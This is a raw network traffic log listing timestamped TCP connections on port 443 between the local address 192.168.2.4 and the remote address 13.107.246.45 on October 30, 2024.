Oct 30, 2024 06:17:25.536792040 CET	49910	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:25.536807060 CET	443	49910	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:25.537271023 CET	49910	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:25.537276030 CET	443	49910	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:25.544908047 CET	443	49909	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:25.545066118 CET	443	49909	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:25.545135975 CET	49909	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:25.545384884 CET	49909	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:25.545407057 CET	443	49909	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:25.545423031 CET	49909	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:25.545430899 CET	443	49909	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:25.548635006 CET	49914	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:25.548700094 CET	443	49914	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:25.548800945 CET	49914	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:25.548897982 CET	49914	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:25.548928022 CET	443	49914	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:25.665488005 CET	443	49910	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:25.665561914 CET	443	49910	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:25.665676117 CET	49910	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:25.665819883 CET	49910	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:25.665836096 CET	443	49910	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:25.665844917 CET	49910	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:25.665851116 CET	443	49910	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:25.668893099 CET	49915	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:25.668976068 CET	443	49915	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:25.669101954 CET	49915	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:25.669290066 CET	49915	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:25.669325113 CET	443	49915	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:25.679855108 CET	443	49911	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:25.680248022 CET	49911	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:25.680274010 CET	443	49911	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:25.680701971 CET	49911	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:25.680710077 CET	443	49911	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:25.686450005 CET	443	49912	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:25.688551903 CET	49912	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:25.688585997 CET	443	49912	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:25.688945055 CET	49912	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:25.688961029 CET	443	49912	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:25.730770111 CET	443	49913	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:25.731435061 CET	49913	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:25.731466055 CET	443	49913	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:25.731914997 CET	49913	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:25.731921911 CET	443	49913	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:25.813877106 CET	443	49911	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:25.813908100 CET	443	49911	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:25.813963890 CET	443	49911	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:25.813961983 CET	49911	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:25.814002037 CET	49911	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:25.814271927 CET	49911	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:25.814296961 CET	443	49911	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:25.814311981 CET	49911	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:25.814320087 CET	443	49911	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:25.817656994 CET	49916	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:25.817701101 CET	443	49916	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:25.817795992 CET	49916	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:25.817903042 CET	443	49912	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:25.818001032 CET	49916	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:25.818017006 CET	443	49916	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:25.818072081 CET	443	49912	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:25.818150043 CET	49912	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:25.818211079 CET	49912	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:25.818211079 CET	49912	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:25.818243027 CET	443	49912	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:25.818267107 CET	443	49912	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:25.820430994 CET	49917	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:25.820518970 CET	443	49917	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:25.820612907 CET	49917	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:25.820741892 CET	49917	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:25.820772886 CET	443	49917	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:25.860915899 CET	443	49913	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:25.860977888 CET	443	49913	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:25.861145973 CET	49913	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:25.861223936 CET	49913	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:25.861223936 CET	49913	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:25.861264944 CET	443	49913	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:25.861294031 CET	443	49913	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:25.863305092 CET	49918	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:25.863327026 CET	443	49918	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:25.863403082 CET	49918	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:25.863534927 CET	49918	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:25.863547087 CET	443	49918	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:26.302582026 CET	443	49914	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:26.304872990 CET	49914	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:26.304922104 CET	443	49914	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:26.305380106 CET	49914	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:26.305393934 CET	443	49914	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:26.389564037 CET	443	49915	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:26.393779993 CET	49915	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:26.393840075 CET	443	49915	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:26.394260883 CET	49915	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:26.394275904 CET	443	49915	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:26.433129072 CET	443	49914	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:26.433208942 CET	443	49914	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:26.433325052 CET	49914	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:26.433588028 CET	49914	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:26.433631897 CET	443	49914	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:26.433665037 CET	49914	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:26.433681011 CET	443	49914	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:26.436611891 CET	49919	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:26.436650991 CET	443	49919	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:26.436744928 CET	49919	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:26.436892033 CET	49919	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:26.436903954 CET	443	49919	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:26.518205881 CET	443	49915	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:26.518378973 CET	443	49915	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:26.518433094 CET	49915	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:26.518451929 CET	443	49915	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:26.518502951 CET	49915	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:26.518659115 CET	49915	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:26.518707037 CET	443	49915	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:26.518737078 CET	49915	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:26.518753052 CET	443	49915	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:26.524429083 CET	49920	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:26.524472952 CET	443	49920	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:26.524544954 CET	49920	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:26.524722099 CET	49920	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:26.524738073 CET	443	49920	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:26.536495924 CET	443	49916	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:26.536904097 CET	49916	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:26.536927938 CET	443	49916	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:26.537420988 CET	49916	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:26.537425995 CET	443	49916	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:26.572743893 CET	443	49917	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:26.573179007 CET	49917	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:26.573237896 CET	443	49917	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:26.573637009 CET	49917	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:26.573651075 CET	443	49917	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:26.609210968 CET	443	49918	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:26.609710932 CET	49918	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:26.609728098 CET	443	49918	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:26.610210896 CET	49918	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:26.610215902 CET	443	49918	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:26.664659023 CET	443	49916	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:26.664721966 CET	443	49916	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:26.664767981 CET	443	49916	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:26.664773941 CET	49916	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:26.664805889 CET	49916	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:26.664992094 CET	49916	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:26.665008068 CET	443	49916	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:26.665018082 CET	49916	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:26.665023088 CET	443	49916	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:26.667928934 CET	49921	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:26.667963982 CET	443	49921	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:26.668086052 CET	49921	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:26.668235064 CET	49921	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:26.668248892 CET	443	49921	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:26.703255892 CET	443	49917	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:26.703360081 CET	443	49917	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:26.703423977 CET	49917	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:26.703466892 CET	443	49917	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:26.703500032 CET	443	49917	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:26.703558922 CET	49917	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:26.703604937 CET	49917	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:26.703604937 CET	49917	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:26.703639030 CET	443	49917	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:26.703661919 CET	443	49917	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:26.706480980 CET	49922	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:26.706512928 CET	443	49922	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:26.706583023 CET	49922	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:26.706716061 CET	49922	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:26.706739902 CET	443	49922	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:26.750288963 CET	443	49918	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:26.750355959 CET	443	49918	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:26.750427008 CET	49918	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:26.750658035 CET	49918	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:26.750669003 CET	443	49918	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:26.753598928 CET	49923	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:26.753632069 CET	443	49923	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:26.753724098 CET	49923	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:26.753881931 CET	49923	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:26.753895998 CET	443	49923	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:27.219970942 CET	443	49919	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:27.222651958 CET	49919	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:27.222724915 CET	443	49919	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:27.223216057 CET	49919	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:27.223229885 CET	443	49919	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:27.264430046 CET	443	49920	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:27.264863014 CET	49920	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:27.264879942 CET	443	49920	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:27.265269995 CET	49920	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:27.265279055 CET	443	49920	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:27.352320910 CET	443	49919	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:27.352380991 CET	443	49919	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:27.352473974 CET	443	49919	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:27.352508068 CET	49919	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:27.352611065 CET	49919	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:27.353060961 CET	49919	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:27.353101015 CET	443	49919	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:27.353128910 CET	49919	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:27.353143930 CET	443	49919	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:27.356503963 CET	49924	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:27.356543064 CET	443	49924	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:27.356625080 CET	49924	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:27.356800079 CET	49924	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:27.356816053 CET	443	49924	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:27.409929991 CET	443	49920	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:27.410079956 CET	443	49920	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:27.410197020 CET	49920	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:27.410537004 CET	49920	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:27.410552979 CET	443	49920	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:27.410571098 CET	49920	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:27.410576105 CET	443	49920	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:27.411875963 CET	443	49921	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:27.412364006 CET	49921	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:27.412400961 CET	443	49921	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:27.412936926 CET	49921	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:27.412941933 CET	443	49921	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:27.413754940 CET	49925	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:27.413811922 CET	443	49925	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:27.413894892 CET	49925	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:27.414036036 CET	49925	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:27.414052963 CET	443	49925	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:27.448187113 CET	443	49922	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:27.449124098 CET	49922	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:27.449142933 CET	443	49922	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:27.449734926 CET	49922	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:27.449743032 CET	443	49922	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:27.481961966 CET	443	49923	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:27.482685089 CET	49923	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:27.482705116 CET	443	49923	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:27.483187914 CET	49923	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:27.483194113 CET	443	49923	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:27.543943882 CET	443	49921	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:27.543965101 CET	443	49921	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:27.544023991 CET	443	49921	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:27.544025898 CET	49921	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:27.544068098 CET	49921	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:27.544312000 CET	49921	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:27.544328928 CET	443	49921	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:27.544341087 CET	49921	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:27.544346094 CET	443	49921	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:27.547604084 CET	49926	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:27.547638893 CET	443	49926	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:27.547698021 CET	49926	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:27.547909975 CET	49926	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:27.547924995 CET	443	49926	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:27.579189062 CET	443	49922	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:27.579287052 CET	443	49922	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:27.579355001 CET	49922	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:27.579436064 CET	443	49922	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:27.579544067 CET	49922	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:27.579624891 CET	49922	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:27.579624891 CET	49922	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:27.579639912 CET	443	49922	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:27.579648972 CET	443	49922	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:27.582169056 CET	49927	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:27.582201004 CET	443	49927	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:27.582279921 CET	49927	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:27.582437992 CET	49927	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:27.582457066 CET	443	49927	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:27.612684965 CET	443	49923	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:27.612713099 CET	443	49923	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:27.612761974 CET	443	49923	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:27.612796068 CET	49923	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:27.612910986 CET	49923	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:27.613192081 CET	49923	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:27.613199949 CET	443	49923	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:27.613209009 CET	49923	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:27.613212109 CET	443	49923	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:27.615485907 CET	49928	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:27.615547895 CET	443	49928	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:27.615638971 CET	49928	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:27.615786076 CET	49928	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:27.615818024 CET	443	49928	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:28.090749025 CET	443	49924	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:28.091703892 CET	49924	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:28.091731071 CET	443	49924	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:28.092170954 CET	49924	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:28.092176914 CET	443	49924	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:28.154124975 CET	443	49925	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:28.154956102 CET	49925	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:28.154979944 CET	443	49925	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:28.155394077 CET	49925	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:28.155401945 CET	443	49925	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:28.219124079 CET	443	49924	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:28.219342947 CET	443	49924	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:28.219444990 CET	49924	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:28.219707012 CET	49924	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:28.219727993 CET	443	49924	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:28.219742060 CET	49924	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:28.219748020 CET	443	49924	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:28.222728014 CET	49929	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:28.222824097 CET	443	49929	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:28.222909927 CET	49929	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:28.223067999 CET	49929	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:28.223102093 CET	443	49929	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:28.284857035 CET	443	49925	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:28.285033941 CET	443	49925	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:28.285113096 CET	49925	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:28.285113096 CET	49925	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:28.285141945 CET	49925	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:28.285157919 CET	443	49925	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:28.288081884 CET	49930	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:28.288170099 CET	443	49930	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:28.288307905 CET	49930	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:28.288461924 CET	49930	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:28.288496017 CET	443	49930	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:28.307573080 CET	443	49926	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:28.307923079 CET	49926	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:28.307943106 CET	443	49926	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:28.308351994 CET	49926	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:28.308357954 CET	443	49926	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:28.314419985 CET	443	49927	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:28.314758062 CET	49927	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:28.314770937 CET	443	49927	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:28.315116882 CET	49927	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:28.315123081 CET	443	49927	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:28.337256908 CET	443	49928	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:28.337980032 CET	49928	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:28.338037968 CET	443	49928	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:28.338368893 CET	49928	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:28.338382959 CET	443	49928	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:28.442156076 CET	443	49926	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:28.442353010 CET	443	49926	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:28.442447901 CET	49926	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:28.442791939 CET	49926	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:28.442807913 CET	443	49926	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:28.442817926 CET	49926	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:28.442822933 CET	443	49926	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:28.444803953 CET	443	49927	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:28.444884062 CET	443	49927	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:28.444941044 CET	49927	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:28.444957972 CET	443	49927	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:28.444992065 CET	443	49927	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:28.445039988 CET	49927	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:28.445058107 CET	443	49927	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:28.445070982 CET	49927	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:28.445071936 CET	49927	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:28.445079088 CET	443	49927	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:28.445086956 CET	443	49927	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:28.446695089 CET	49931	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:28.446753025 CET	443	49931	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:28.446856976 CET	49931	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:28.447010040 CET	49931	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:28.447040081 CET	443	49931	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:28.447130919 CET	49932	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:28.447180033 CET	443	49932	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:28.447235107 CET	49932	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:28.447413921 CET	49932	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:28.447429895 CET	443	49932	13.107.246.45	192.168.2.4
